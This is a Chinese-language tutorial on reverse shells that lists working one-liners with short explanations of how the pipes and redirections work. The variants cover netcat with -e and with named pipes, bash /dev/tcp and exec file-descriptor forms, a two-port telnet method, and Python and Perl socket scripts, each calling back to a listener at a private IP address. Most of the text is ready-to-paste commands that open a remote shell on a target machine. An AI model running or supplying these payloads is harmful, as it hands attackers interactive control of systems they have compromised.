反弹shell常用命令及分析

1.利用nc反弹shell

一般情况下

服务端：nc 192.168.247.1 8888 -e /bin/sh
vps：nc lvp 8888

nc参数说明

-e program to exec after connect，程序重定向
-l listen mode，使用监听模式
-p port，通信端口
-v verbose，详细输出

这里的/bin/sh是linux的shell解释器,也可以使用/bin/bash。sh相当于开启了POSIX标准的bash
如果是windows则为：C:\Windows\System32\cmd.exe

服务端的nc没有-e参数

如果服务端nc没有-e参数，可以创建一个管道使nc和/bin/sh连接

服务端先创建一个管道文件：mkfifo /tmp/backpipe
然后执行：/bin/sh 0</tmp/backpipe | nc 192.168.247.1 8888 1>/tmp/backpipe
vps: nc -lvp 8888

0是标准输入，1是标准输出
< 是对标准输入 0 重定向 ，> 是对标准输出 1 重定向
这里0和1可以省略

/bin/sh < /tmp/backpipe | nc 192.168.247.1 8888 > /tmp/backpipe

linux管道
https://zhuanlan.zhihu.com/p/58489873
命名管道中如果只有读或写会阻塞，这里相当于形成了闭合的回路
nc的输出重定向/tmp/backpipe，/bin/sh的输入重定向到/tmp/backpipe（/tmp/backpipe的内容就是/bin/sh的输入）。如果在服务端分开执行这两条命令，/bin/sh < /tmp/backpipe这边会显示出我们vps上执行命令的结果，即结果显示在服务端上。我们可以用匿名管道“|”来将输出结果连接到nc（vps），就可以在vps上显示执行结果了
nc --> pipe --> /bin/sh --> nc
linux一切皆文件，命令无法直接拿给/bin/sh执行，要文件才行，所以利用了管道
类似命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

bash反弹shell就是输入输出和错误输出都重定向到vps，因此服务端执行攻击者命令，且没有命令出现。

其他方法

• 把输入复制到错误输入（0复制到2）

bash -i >& /dev/tcp/192.168.247.1/8888 0>&2

• exec加sh

exec 196>/dev/tcp/192.168.247.1/8888; sh <&196 >&196 2>&196
或
exec 197<>/dev/tcp/192.168.247.1/8888; /bin/sh <&197 >&197 2>&197
或
exec 197<>/dev/tcp/192.168.247.1/8888; bash -i <&197 >&197 2>&197

196、197是我们自定义的文件描述符，sh、/bin/sh、bash -i都可以交互式的执行shell
<>是以读写方式重定向，通过操作197即可操作/dev/tcp/192.168.247.1/8888
网上的方法开头多了exec 0&0 2>&0这条命令，我测试发现不加也可以执行shell

• exec加read循环

exec 5<>/dev/tcp/192.168.247.1/8888;cat <&5|while read line;do $line >&5 2>&1;done

读取每次的输入，“|”管道符是将前面的输出（cat <&5）作为后面的输入（read循环）
read循环：

while read line
do
   …
done < file

通过输入重定向，按行读取file并将内容赋给变量line，然后执行do中的命令。最后一行读取完后循环结束。
do可以执行命令

3.telnet反弹shell

Telnet协议是TCP/IP协议族中的一员，是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序，用它连接到服务器。

方式一

攻击者vps上监听两个端口，一个作为输入另一个作为输出
在目标机器上，利用管道，使用telnet连接vps，把vps的输入作为输出给/bin/bash，把执行结果作为输入给vps，在vps上显示执行结果。

vps: nc -lvp 7777
     nc -lvp 8888
目标: telnet 192.168.247.1 7777 | /bin/bash | telnet 192.168.247.1 8888

在监听7777这边输入命令，即可在监听8888这边显示执行结果

方式二

利用命令管道实现和匿名管道原理一样，只不过是监听一个端口

vps: nc -lvp 8888
目标：mkfifo /tmp/backpipe;telnet 192.168.247.1 8888 0</tmp/backpipe|/bin/bash > /tmp/backpipe

创建一个命令管道/tmp/backpipe；telnet连接vps并把输入重定向到管道，这样vps输入的命令传到了管道中；然后把结果（vps输入的命令）作为输入给/bin/bash执行，/bin/bash的输出重定向到管道，显示在vps中。形成一个闭合的回路。

4.常见脚本反弹shell

python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.247.1‘,8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash‘,‘-i‘]);"

fileno方法返回文件描述符
os.dup2(fd,fd2)将一个文件描述符 fd 复制到另一个 fd2。

创建一个socket连接，分别将标准输出输出和错误输出文件描述符复制给socket，达到交互式，最后开启shell

其他脚本反弹shell的原理也是类似

perl

perl -e ‘use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};‘

反弹shell常用命令及分析